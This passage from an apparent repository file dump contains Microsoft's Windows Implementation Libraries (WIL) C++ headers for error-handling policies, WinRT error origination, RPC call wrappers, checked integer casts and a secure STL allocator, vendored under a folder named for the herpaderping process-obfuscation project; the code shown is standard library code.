va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n }\n\n _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, Throw_IfNtStatusFailedMsg)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (FAILED_NTSTATUS(status))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NtStatusMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n return status;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n } // __R_NS_NAME namespace\n } // details namespace\n /// @endcond\n\n\n //*****************************************************************************\n // Error Handling Policies to switch between error-handling style\n //*****************************************************************************\n // The following policies are used as template policies for components that can support exception, fail-fast, and\n // error-code based modes.\n\n // Use for classes which should return HRESULTs as their error-handling policy\n // Intentionally removed logging from this policy as logging is more useful at the caller.\n struct err_returncode_policy\n {\n typedef HRESULT result;\n\n __forceinline static HRESULT Win32BOOL(BOOL fReturn) { RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(fReturn); return S_OK; }\n __forceinline static HRESULT Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; RETURN_LAST_ERROR_IF_NULL_EXPECTED(h); return S_OK; }\n _Post_satisfies_(return == hr)\n __forceinline static HRESULT HResult(HRESULT hr) { return hr; }\n __forceinline static HRESULT LastError() { return wil::details::GetLastErrorFailHr(); }\n __forceinline static HRESULT LastErrorIfFalse(bool condition) { RETURN_LAST_ERROR_IF_EXPECTED(!condition); return S_OK; }\n _Post_satisfies_(return == S_OK)\n __forceinline static HRESULT OK() { return S_OK; }\n };\n\n // Use for classes which fail-fast on errors\n struct err_failfast_policy\n {\n typedef _Return_type_success_(true) void result;\n __forceinline static result Win32BOOL(BOOL fReturn) { FAIL_FAST_IF_WIN32_BOOL_FALSE(fReturn); }\n __forceinline static result Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; FAIL_FAST_LAST_ERROR_IF_NULL(h); }\n _When_(FAILED(hr), _Analysis_noreturn_)\n __forceinline static result HResult(HRESULT hr) { FAIL_FAST_IF_FAILED(hr); }\n __forceinline static result LastError() { FAIL_FAST_LAST_ERROR(); }\n __forceinline static result LastErrorIfFalse(bool condition) { if (!condition) { FAIL_FAST_LAST_ERROR(); } }\n __forceinline static result OK() {}\n };\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n // Use for classes which should return through exceptions as their error-handling policy\n struct err_exception_policy\n {\n typedef _Return_type_success_(true) void result;\n __forceinline static result Win32BOOL(BOOL fReturn) { THROW_IF_WIN32_BOOL_FALSE(fReturn); }\n __forceinline static result Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; THROW_LAST_ERROR_IF_NULL(h); }\n _When_(FAILED(hr), _Analysis_noreturn_)\n __forceinline static result HResult(HRESULT hr) { THROW_IF_FAILED(hr); }\n __forceinline static result LastError() { THROW_LAST_ERROR(); }\n __forceinline static result LastErrorIfFalse(bool condition) { if (!condition) { THROW_LAST_ERROR(); } }\n __forceinline static result OK() {}\n };\n#else\n // NOTE: A lot of types use 'err_exception_policy' as a default template argument and therefore it must be defined\n // (MSVC is permissive about this, but other compilers are not). This will still cause compilation errors at\n // template instantiation time since this type lacks required member functions. An alternative would be to have some\n // 'default_err_policy' alias that would be something like 'err_failfast_policy' when exceptions are not available,\n // but that may have unexpected side effects when compiling code that expects to be using exceptions\n struct err_exception_policy\n {\n };\n#endif\n\n} // namespace wil\n\n#pragma warning(pop)\n\n#endif // defined(__cplusplus) && !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE)\n#endif // __WIL_RESULTMACROS_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/result_originate.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n\n// Note: When origination is enabled by including this file, origination is done as part of the RETURN_* and THROW_* macros. Before originating\n// a new error we will observe whether there is already an error payload associated with the current thread. If there is, and the HRESULTs match,\n// then a new error will not be originated. Otherwise we will overwrite it with a new origination. The ABI boundary for WinRT APIs will check the\n// per-thread error information. The act of checking the error clears it, so there should be minimal risk of failing to originate distinct errors\n// simply because the HRESULTs match.\n//\n// For THROW_ macros we will examine the thread-local error storage once per throw. So typically once, with additional calls if the exception is\n// caught and re-thrown.\n//\n// For RETURN_ macros we will have to examine the thread-local error storage once per frame as the call stack unwinds. Because error conditions\n// -should- be uncommon the performance impact of checking TLS should be minimal. The more expensive part is originating the error because it must\n// capture the entire stack and some additional data.\n\n#ifndef __WIL_RESULT_ORIGINATE_INCLUDED\n#define __WIL_RESULT_ORIGINATE_INCLUDED\n\n#include \"result.h\"\n#include // RestrictedErrorInfo uses BSTRs :(\n#include \"resource.h\"\n#include \"com.h\"\n#include \n\nnamespace wil\n{\n namespace details\n {\n // Note: The name must begin with \"Raise\" so that the !analyze auto-bucketing will ignore this stack frame. Otherwise this line of code gets all the blame.\n inline void __stdcall RaiseRoOriginateOnWilExceptions(wil::FailureInfo const& failure) WI_NOEXCEPT\n {\n if ((failure.type == FailureType::Return) || (failure.type == FailureType::Exception))\n {\n bool shouldOriginate = true;\n\n wil::com_ptr_nothrow restrictedErrorInformation;\n if (GetRestrictedErrorInfo(&restrictedErrorInformation) == S_OK)\n {\n // This thread already has an error origination payload. Don't originate again if it has the same HRESULT that we are\n // observing right now.\n wil::unique_bstr descriptionUnused;\n HRESULT existingHr = failure.hr;\n wil::unique_bstr restrictedDescriptionUnused;\n wil::unique_bstr capabilitySidUnused;\n if (SUCCEEDED(restrictedErrorInformation->GetErrorDetails(&descriptionUnused, &existingHr, &restrictedDescriptionUnused, &capabilitySidUnused)))\n {\n shouldOriginate = (failure.hr != existingHr);\n }\n }\n\n if (shouldOriginate)\n {\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n wil::unique_hmodule errorModule;\n if (GetModuleHandleExW(0, L\"api-ms-win-core-winrt-error-l1-1-1.dll\", &errorModule))\n {\n auto pfn = reinterpret_cast(GetProcAddress(errorModule.get(), \"RoOriginateError\"));\n if (pfn != nullptr)\n {\n pfn(failure.hr, nullptr);\n }\n }\n#else // DESKTOP | SYSTEM\n ::RoOriginateError(failure.hr, nullptr);\n#endif // DESKTOP | SYSTEM\n }\n else if (restrictedErrorInformation)\n {\n // GetRestrictedErrorInfo returns ownership of the error information. If we aren't originating, and an error was already present,\n // then we need to restore the error information for later observation.\n SetRestrictedErrorInfo(restrictedErrorInformation.get());\n }\n }\n }\n\n // This method will check for the presence of stowed exception data on the current thread. If such data exists, and the HRESULT\n // matches the current failure, then we will call RoFailFastWithErrorContext. RoFailFastWithErrorContext in this situation will\n // result in -VASTLY- improved crash bucketing. It is hard to express just how much better. In other cases we just return and\n // the calling method fails fast the same way it always has.\n inline void __stdcall FailfastWithContextCallback(wil::FailureInfo const& failure) WI_NOEXCEPT\n {\n wil::com_ptr_nothrow restrictedErrorInformation;\n if (GetRestrictedErrorInfo(&restrictedErrorInformation) == S_OK)\n {\n wil::unique_bstr descriptionUnused;\n HRESULT existingHr = failure.hr;\n wil::unique_bstr restrictedDescriptionUnused;\n wil::unique_bstr capabilitySidUnused;\n if (SUCCEEDED(restrictedErrorInformation->GetErrorDetails(&descriptionUnused, &existingHr, &restrictedDescriptionUnused, &capabilitySidUnused)) &&\n (existingHr == failure.hr))\n {\n // GetRestrictedErrorInfo returns ownership of the error information. We want it to be available for RoFailFastWithErrorContext\n // so we must restore it via SetRestrictedErrorInfo first.\n SetRestrictedErrorInfo(restrictedErrorInformation.get());\n RoFailFastWithErrorContext(existingHr);\n }\n else\n {\n // The error didn't match the current failure. Put it back in thread-local storage even though we aren't failing fast\n // in this method, so it is available in the debugger just-in-case.\n SetRestrictedErrorInfo(restrictedErrorInformation.get());\n }\n }\n }\n } // namespace details\n} // namespace wil\n\n// Automatically call RoOriginateError upon error origination by including this file\nWI_HEADER_INITITALIZATION_FUNCTION(ResultStowedExceptionInitialize, []\n{\n ::wil::SetOriginateErrorCallback(::wil::details::RaiseRoOriginateOnWilExceptions);\n ::wil::SetFailfastWithContextCallback(::wil::details::FailfastWithContextCallback);\n return 1;\n});\n\n#endif // __WIL_RESULT_ORIGINATE_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/rpc_helpers.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_RPC_HELPERS_INCLUDED\n#define __WIL_RPC_HELPERS_INCLUDED\n\n#include \"result.h\"\n#include \"resource.h\"\n#include \"wistd_functional.h\"\n#include \"wistd_type_traits.h\"\n\nnamespace wil\n{\n\n /// @cond\n namespace details\n {\n // This call-adapter template converts a void-returning 'wistd::invoke' into\n // an HRESULT-returning 'wistd::invoke' that emits S_OK. It can be eliminated\n // with 'if constexpr' when C++17 is in wide use.\n template struct call_adapter\n {\n template static HRESULT call(TArgs&& ... args)\n {\n return wistd::invoke(wistd::forward(args)...);\n }\n };\n\n template<> struct call_adapter\n {\n template static HRESULT call(TArgs&& ... args)\n {\n wistd::invoke(wistd::forward(args)...);\n return S_OK;\n }\n };\n\n // Some RPC exceptions are already HRESULTs. Others are in the regular Win32\n // error space. If the incoming exception code isn't an HRESULT, wrap it.\n constexpr HRESULT map_rpc_exception(DWORD code)\n {\n return IS_ERROR(code) ? code : __HRESULT_FROM_WIN32(code);\n }\n }\n /// @endcond\n\n /** Invokes an RPC method, mapping structured exceptions to HRESULTs\n Failures encountered by the RPC infrastructure (such as server crashes, authentication\n errors, client parameter issues, etc.) are emitted by raising a structured exception from\n within the RPC machinery. This method wraps the requested call in the usual RpcTryExcept,\n RpcTryCatch, and RpcEndExcept sequence then maps the exceptions to HRESULTs for the usual\n flow control machinery to use.\n\n Many RPC methods are defined as returning HRESULT themselves, where the HRESULT indicates\n the result of the _work_. HRESULTs returned by a successful completion of the _call_ are\n returned as-is.\n\n RPC methods that have a return type of 'void' are mapped to returning S_OK when the _call_\n completes successfully.\n\n For example, consider an RPC interface method defined in idl as:\n ~~~\n HRESULT GetKittenState([in, ref, string] const wchar_t* name, [out, retval] KittenState** state);\n ~~~\n To call this method, use:\n ~~~\n wil::unique_rpc_binding binding = // typically gotten elsewhere;\n wil::unique_midl_ptr state;\n HRESULT hr = wil::invoke_rpc_nothrow(GetKittenState, binding.get(), L\"fluffy\", state.put());\n RETURN_IF_FAILED(hr);\n ~~~\n */\n template HRESULT invoke_rpc_nothrow(TCall&&... args) WI_NOEXCEPT\n {\n RpcTryExcept\n {\n // Note: this helper type can be removed with C++17 enabled via\n // 'if constexpr(wistd::is_same_v)'\n using result_t = typename wistd::__invoke_of::type;\n RETURN_IF_FAILED(details::call_adapter::call(wistd::forward(args)...));\n return S_OK;\n }\n RpcExcept(RpcExceptionFilter(RpcExceptionCode()))\n {\n RETURN_HR(details::map_rpc_exception(RpcExceptionCode()));\n }\n RpcEndExcept\n }\n\n /** Invokes an RPC method, mapping structured exceptions to HRESULTs\n Failures encountered by the RPC infrastructure (such as server crashes, authentication\n errors, client parameter issues, etc.) are emitted by raising a structured exception from\n within the RPC machinery. This method wraps the requested call in the usual RpcTryExcept,\n RpcTryCatch, and RpcEndExcept sequence then maps the exceptions to HRESULTs for the usual\n flow control machinery to use.\n\n Some RPC methods return results (such as a state enumeration or other value) directly in\n their signature. This adapter writes that result into a caller-provided object then\n returns S_OK.\n\n For example, consider an RPC interface method defined in idl as:\n ~~~\n GUID GetKittenId([in, ref, string] const wchar_t* name);\n ~~~\n To call this method, use:\n ~~~\n wil::unique_rpc_binding binding = // typically gotten elsewhere;\n GUID id;\n HRESULT hr = wil::invoke_rpc_result_nothrow(id, GetKittenId, binding.get(), L\"fluffy\");\n RETURN_IF_FAILED(hr);\n ~~~\n */\n template HRESULT invoke_rpc_result_nothrow(TResult& result, TCall&&... args) WI_NOEXCEPT\n {\n RpcTryExcept\n {\n result = wistd::invoke(wistd::forward(args)...);\n return S_OK;\n }\n RpcExcept(RpcExceptionFilter(RpcExceptionCode()))\n {\n RETURN_HR(details::map_rpc_exception(RpcExceptionCode()));\n }\n RpcEndExcept\n }\n\n namespace details\n {\n // Provides an adapter around calling the context-handle-close method on an\n // RPC interface, which itself is an RPC call.\n template\n struct rpc_closer_t\n {\n static void Close(TStorage arg) WI_NOEXCEPT\n {\n LOG_IF_FAILED(invoke_rpc_nothrow(close_fn, &arg));\n }\n };\n }\n\n /** Manages explicit RPC context handles\n Explicit RPC context handles are used in many RPC interfaces. Most interfaces with\n context handles have an explicit `FooClose([in, out] CONTEXT*)` method that lets\n the server close out the context handle. As the close method itself is an RPC call,\n it can fail and raise a structured exception.\n\n This type routes the context-handle-specific `Close` call through the `invoke_rpc_nothrow`\n helper, ensuring correct cleanup and lifecycle management.\n ~~~\n // Assume the interface has two methods:\n // HRESULT OpenFoo([in] handle_t binding, [out] FOO_CONTEXT*);\n // HRESULT UseFoo([in] FOO_CONTEXT context;\n // void CloseFoo([in, out] PFOO_CONTEXT);\n using unique_foo_context = wil::unique_rpc_context_handle;\n unique_foo_context context;\n RETURN_IF_FAILED(wil::invoke_rpc_nothrow(OpenFoo, m_binding.get(), context.put()));\n RETURN_IF_FAILED(wil::invoke_rpc_nothrow(UseFoo, context.get()));\n context.reset();\n ~~~\n */\n template\n using unique_rpc_context_handle = unique_any::Close), details::rpc_closer_t::Close>;\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Invokes an RPC method, mapping structured exceptions to C++ exceptions\n See `wil::invoke_rpc_nothrow` for additional information. Failures during the _call_\n and those returned by the _method_ are mapped to HRESULTs and thrown inside a\n wil::ResultException. Using the example RPC method provided above:\n ~~~\n wil::unique_midl_ptr state;\n wil::invoke_rpc(GetKittenState, binding.get(), L\"fluffy\", state.put());\n // use 'state'\n ~~~\n */\n template void invoke_rpc(TCall&& ... args)\n {\n THROW_IF_FAILED(invoke_rpc_nothrow(wistd::forward(args)...));\n }\n\n /** Invokes an RPC method, mapping structured exceptions to C++ exceptions\n See `wil::invoke_rpc_result_nothrow` for additional information. Failures during the\n _call_ are mapped to HRESULTs and thrown inside a `wil::ResultException`. Using the\n example RPC method provided above:\n ~~~\n GUID id = wil::invoke_rpc_result(GetKittenId, binding.get());\n // use 'id'\n ~~~\n */\n template auto invoke_rpc_result(TCall&& ... args)\n {\n using result_t = typename wistd::__invoke_of::type;\n result_t result{};\n THROW_IF_FAILED(invoke_rpc_result_nothrow(result, wistd::forward(args)...));\n return result;\n }\n#endif\n}\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/safecast.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_SAFECAST_INCLUDED\n#define __WIL_SAFECAST_INCLUDED\n\n#include \"result_macros.h\"\n#include \n#include \"wistd_config.h\"\n#include \"wistd_type_traits.h\"\n\nnamespace wil\n{\n namespace details\n {\n // Default error case for undefined conversions in intsafe.h\n template constexpr wistd::nullptr_t intsafe_conversion = nullptr;\n\n // is_known_safe_static_cast_v determines if a conversion is known to be safe or not. Known\n // safe conversions can be handled by static_cast, this includes conversions between the same\n // type, when the new type is larger than the old type but is not a signed to unsigned\n // conversion, and when the two types are the same size and signed/unsigned. All other\n // conversions will be assumed to be potentially unsafe, and the conversion must be handled\n // by intsafe and checked.\n template \n constexpr bool is_known_safe_static_cast_v =\n (sizeof(NewT) > sizeof(OldT) && !(wistd::is_signed_v && wistd::is_unsigned_v)) ||\n (sizeof(NewT) == sizeof(OldT) && ((wistd::is_signed_v && wistd::is_signed_v) || (wistd::is_unsigned_v && wistd::is_unsigned_v)));\n\n // Helper template to determine that NewT and OldT are both integral types. The safe_cast\n // operation only supports conversions between integral types.\n template \n constexpr bool both_integral_v = wistd::is_integral::value && wistd::is_integral::value;\n\n // Note on native wchar_t (__wchar_t):\n // Intsafe.h does not currently handle native wchar_t. When compiling with /Zc:wchar_t-, this is fine as wchar_t is\n // typedef'd to unsigned short. However, when compiling with /Zc:wchar_t or wchar_t as a native type, the lack of\n // support for native wchar_t in intsafe.h becomes an issue. To work around this, we treat native wchar_t as an\n // unsigned short when passing it to intsafe.h, because the two on the Windows platform are the same size and\n // share the same range according to MSDN. If the cast is to a native wchar_t, the result from intsafe.h is cast\n // to a native wchar_t.\n\n // Intsafe does not have a defined conversion for native wchar_t\n template \n constexpr bool neither_native_wchar_v = !wistd::is_same::value && !wistd::is_same::value;\n\n // Check to see if the cast is a conversion to native wchar_t\n template \n constexpr bool is_cast_to_wchar_v = wistd::is_same::value && !wistd::is_same::value;\n\n // Check to see if the cast is a conversion from native wchar_t\n template \n constexpr bool is_cast_from_wchar_v = !wistd::is_same::value && wistd::is_same::value;\n\n // Validate the conversion to be performed has a defined mapping to an intsafe conversion\n template \n constexpr bool is_supported_intsafe_cast_v = intsafe_conversion != nullptr;\n\n // True when the conversion is between integral types and can be handled by static_cast\n template \n constexpr bool is_supported_safe_static_cast_v = both_integral_v && is_known_safe_static_cast_v;\n\n // True when the conversion is between integral types, does not involve native wchar, has\n // a mapped intsafe conversion, and is unsafe.\n template \n constexpr bool is_supported_unsafe_cast_no_wchar_v =\n both_integral_v &&\n !is_known_safe_static_cast_v &&\n neither_native_wchar_v &&\n is_supported_intsafe_cast_v;\n\n // True when the conversion is between integral types, is a cast to native wchar_t, has\n // a mapped intsafe conversion, and is unsafe.\n template \n constexpr bool is_supported_unsafe_cast_to_wchar_v =\n both_integral_v &&\n !is_known_safe_static_cast_v &&\n is_cast_to_wchar_v &&\n is_supported_intsafe_cast_v;\n\n // True when the conversion is between integral types, is a cast from native wchar_t, has\n // a mapped intsafe conversion, and is unsafe.\n template \n constexpr bool is_supported_unsafe_cast_from_wchar_v =\n both_integral_v &&\n !is_known_safe_static_cast_v &&\n is_cast_from_wchar_v &&\n is_supported_intsafe_cast_v;\n\n // True when the conversion is supported and unsafe, and may or may not involve\n // native wchar_t.\n template \n constexpr bool is_supported_unsafe_cast_v =\n is_supported_unsafe_cast_no_wchar_v ||\n is_supported_unsafe_cast_to_wchar_v ||\n is_supported_unsafe_cast_from_wchar_v;\n\n // True when T is any one of the primitive types that the variably sized types are defined as.\n template \n constexpr bool is_potentially_variably_sized_type_v =\n wistd::is_same::value ||\n wistd::is_same::value ||\n wistd::is_same::value ||\n wistd::is_same::value ||\n wistd::is_same::value ||\n wistd::is_same::value;\n\n // True when either type is potentialy variably sized (e.g. size_t, ptrdiff_t)\n template \n constexpr bool is_potentially_variably_sized_cast_v =\n is_potentially_variably_sized_type_v ||\n is_potentially_variably_sized_type_v;\n\n // Mappings of all conversions defined in intsafe.h to intsafe_conversion\n // Note: Uppercase types (UINT, DWORD, SIZE_T, etc) and architecture dependent types resolve\n // to the base types. The base types are used since they do not vary based on architecture.\n template<> constexpr auto intsafe_conversion<__int64, char> = LongLongToChar;\n template<> constexpr auto intsafe_conversion<__int64, int> = LongLongToInt;\n template<> constexpr auto intsafe_conversion<__int64, long> = LongLongToLong;\n template<> constexpr auto intsafe_conversion<__int64, short> = LongLongToShort;\n template<> constexpr auto intsafe_conversion<__int64, signed char> = LongLongToInt8;\n template<> constexpr auto intsafe_conversion<__int64, unsigned __int64> = LongLongToULongLong;\n template<> constexpr auto intsafe_conversion<__int64, unsigned char> = LongLongToUChar;\n template<> constexpr auto intsafe_conversion<__int64, unsigned int> = LongLongToUInt;\n template<> constexpr auto intsafe_conversion<__int64, unsigned long> = LongLongToULong;\n template<> constexpr auto intsafe_conversion<__int64, unsigned short> = LongLongToUShort;\n template<> constexpr auto intsafe_conversion = IntToChar;\n template<> constexpr auto intsafe_conversion = IntToShort;\n template<> constexpr auto intsafe_conversion = IntToInt8;\n template<> constexpr auto intsafe_conversion = IntToULongLong;\n template<> constexpr auto intsafe_conversion = IntToUChar;\n template<> constexpr auto intsafe_conversion = IntToUInt;\n template<> constexpr auto intsafe_conversion = IntToULong;\n template<> constexpr auto intsafe_conversion = IntToUShort;\n template<> constexpr auto intsafe_conversion = LongToChar;\n template<> constexpr auto intsafe_conversion = LongToInt;\n template<> constexpr auto intsafe_conversion = LongToShort;\n template<> constexpr auto intsafe_conversion = LongToInt8;\n template<> constexpr auto intsafe_conversion = LongToULongLong;\n template<> constexpr auto intsafe_conversion = LongToUChar;\n template<> constexpr auto intsafe_conversion = LongToUInt;\n template<> constexpr auto intsafe_conversion = LongToULong;\n template<> constexpr auto intsafe_conversion = LongToUShort;\n template<> constexpr auto intsafe_conversion = ShortToChar;\n template<> constexpr auto intsafe_conversion = ShortToInt8;\n template<> constexpr auto intsafe_conversion = ShortToULongLong;\n template<> constexpr auto intsafe_conversion = ShortToUChar;\n template<> constexpr auto intsafe_conversion = ShortToUInt;\n template<> constexpr auto intsafe_conversion = ShortToULong;\n template<> constexpr auto intsafe_conversion = ShortToUShort;\n template<> constexpr auto intsafe_conversion = Int8ToULongLong;\n template<> constexpr auto intsafe_conversion = Int8ToUChar;\n template<> constexpr auto intsafe_conversion = Int8ToUInt;\n template<> constexpr auto intsafe_conversion = Int8ToULong;\n template<> constexpr auto intsafe_conversion = Int8ToUShort;\n template<> constexpr auto intsafe_conversion = ULongLongToLongLong;\n template<> constexpr auto intsafe_conversion = ULongLongToChar;\n template<> constexpr auto intsafe_conversion = ULongLongToInt;\n template<> constexpr auto intsafe_conversion = ULongLongToLong;\n template<> constexpr auto intsafe_conversion = ULongLongToShort;\n template<> constexpr auto intsafe_conversion = ULongLongToInt8;\n template<> constexpr auto intsafe_conversion = ULongLongToUChar;\n template<> constexpr auto intsafe_conversion = ULongLongToUInt;\n template<> constexpr auto intsafe_conversion = ULongLongToULong;\n template<> constexpr auto intsafe_conversion = ULongLongToUShort;\n template<> constexpr auto intsafe_conversion = UInt8ToChar;\n template<> constexpr auto intsafe_conversion = UIntToInt8;\n template<> constexpr auto intsafe_conversion = UIntToChar;\n template<> constexpr auto intsafe_conversion = UIntToInt;\n template<> constexpr auto intsafe_conversion = UIntToLong;\n template<> constexpr auto intsafe_conversion = UIntToShort;\n template<> constexpr auto intsafe_conversion = UIntToInt8;\n template<> constexpr auto intsafe_conversion = UIntToUChar;\n template<> constexpr auto intsafe_conversion = UIntToUShort;\n template<> constexpr auto intsafe_conversion = ULongToChar;\n template<> constexpr auto intsafe_conversion = ULongToInt;\n template<> constexpr auto intsafe_conversion = ULongToLong;\n template<> constexpr auto intsafe_conversion = ULongToShort;\n template<> constexpr auto intsafe_conversion = ULongToInt8;\n template<> constexpr auto intsafe_conversion = ULongToUChar;\n template<> constexpr auto intsafe_conversion = ULongToUInt;\n template<> constexpr auto intsafe_conversion = ULongToUShort;\n template<> constexpr auto intsafe_conversion = UShortToChar;\n template<> constexpr auto intsafe_conversion = UShortToShort;\n template<> constexpr auto intsafe_conversion = UShortToInt8;\n template<> constexpr auto intsafe_conversion = UShortToUChar;\n }\n\n // Unsafe conversion where failure results in fail fast.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_failfast(const OldT var)\n {\n NewT newVar;\n FAIL_FAST_IF_FAILED((details::intsafe_conversion(var, &newVar)));\n return newVar;\n }\n\n // Unsafe conversion where failure results in fail fast.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_failfast(const OldT var)\n {\n NewT newVar;\n FAIL_FAST_IF_FAILED((details::intsafe_conversion(static_cast(var), &newVar)));\n return newVar;\n }\n\n // Unsafe conversion where failure results in fail fast.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_failfast(const OldT var)\n {\n unsigned short newVar;\n FAIL_FAST_IF_FAILED((details::intsafe_conversion(var, &newVar)));\n return static_cast<__wchar_t>(newVar);\n }\n\n // This conversion is always safe, therefore a static_cast is fine.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_failfast(const OldT var)\n {\n return static_cast(var);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n // Unsafe conversion where failure results in a thrown exception.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast(const OldT var)\n {\n NewT newVar;\n THROW_IF_FAILED((details::intsafe_conversion(var, &newVar)));\n return newVar;\n }\n\n // Unsafe conversion where failure results in a thrown exception.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast(const OldT var)\n {\n NewT newVar;\n THROW_IF_FAILED((details::intsafe_conversion(static_cast(var), &newVar)));\n return newVar;\n }\n\n // Unsafe conversion where failure results in a thrown exception.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast(const OldT var)\n {\n unsigned short newVar;\n THROW_IF_FAILED((details::intsafe_conversion(var, &newVar)));\n return static_cast<__wchar_t>(newVar);\n }\n\n // This conversion is always safe, therefore a static_cast is fine.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast(const OldT var)\n {\n return static_cast(var);\n }\n#endif\n\n // This conversion is unsafe, therefore the two parameter version of safe_cast_nothrow must be used\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_nothrow(const OldT /*var*/)\n {\n static_assert(!wistd::is_same_v, \"This cast has the potential to fail, use the two parameter safe_cast_nothrow instead\");\n }\n\n // This conversion is always safe, therefore a static_cast is fine.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n NewT safe_cast_nothrow(const OldT var)\n {\n return static_cast(var);\n }\n\n // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult)\n {\n return details::intsafe_conversion(var, newTResult);\n }\n\n // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult)\n {\n return details::intsafe_conversion(static_cast(var), newTResult);\n }\n\n // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult)\n {\n return details::intsafe_conversion(var, reinterpret_cast(newTResult));\n }\n\n // This conversion is always safe, therefore a static_cast is fine. If it can be determined the conversion\n // does not involve a variably sized type, then the compilation will fail and say the single parameter version\n // of safe_cast_nothrow should be used instead.\n template <\n typename NewT,\n typename OldT,\n wistd::enable_if_t, int> = 0\n >\n HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult)\n {\n static_assert(details::is_potentially_variably_sized_cast_v, \"This cast is always safe; use safe_cast_nothrow(value) to avoid unnecessary error handling.\");\n *newTResult = static_cast(var);\n return S_OK;\n }\n}\n\n#endif // __WIL_SAFECAST_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/stl.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_STL_INCLUDED\n#define __WIL_STL_INCLUDED\n\n#include \"common.h\"\n#include \"resource.h\"\n#include \n#include \n#include \n\n#if defined(WIL_ENABLE_EXCEPTIONS)\n\nnamespace wil\n{\n /** Secure allocator for STL containers.\n The `wil::secure_allocator` allocator calls `SecureZeroMemory` before deallocating\n memory. This provides a mechanism for secure STL containers such as `wil::secure_vector`,\n `wil::secure_string`, and `wil::secure_wstring`. */\n template \n struct secure_allocator\n : public std::allocator\n {\n template\n struct rebind\n {\n typedef secure_allocator other;\n };\n\n secure_allocator()\n : std::allocator()\n {\n }\n\n ~secure_allocator() = default;\n\n secure_allocator(const secure_allocator& a)\n : std::allocator(a)\n {\n }\n\n template \n secure_allocator(const secure_allocator& a)\n : std::allocator(a)\n {\n }\n\n 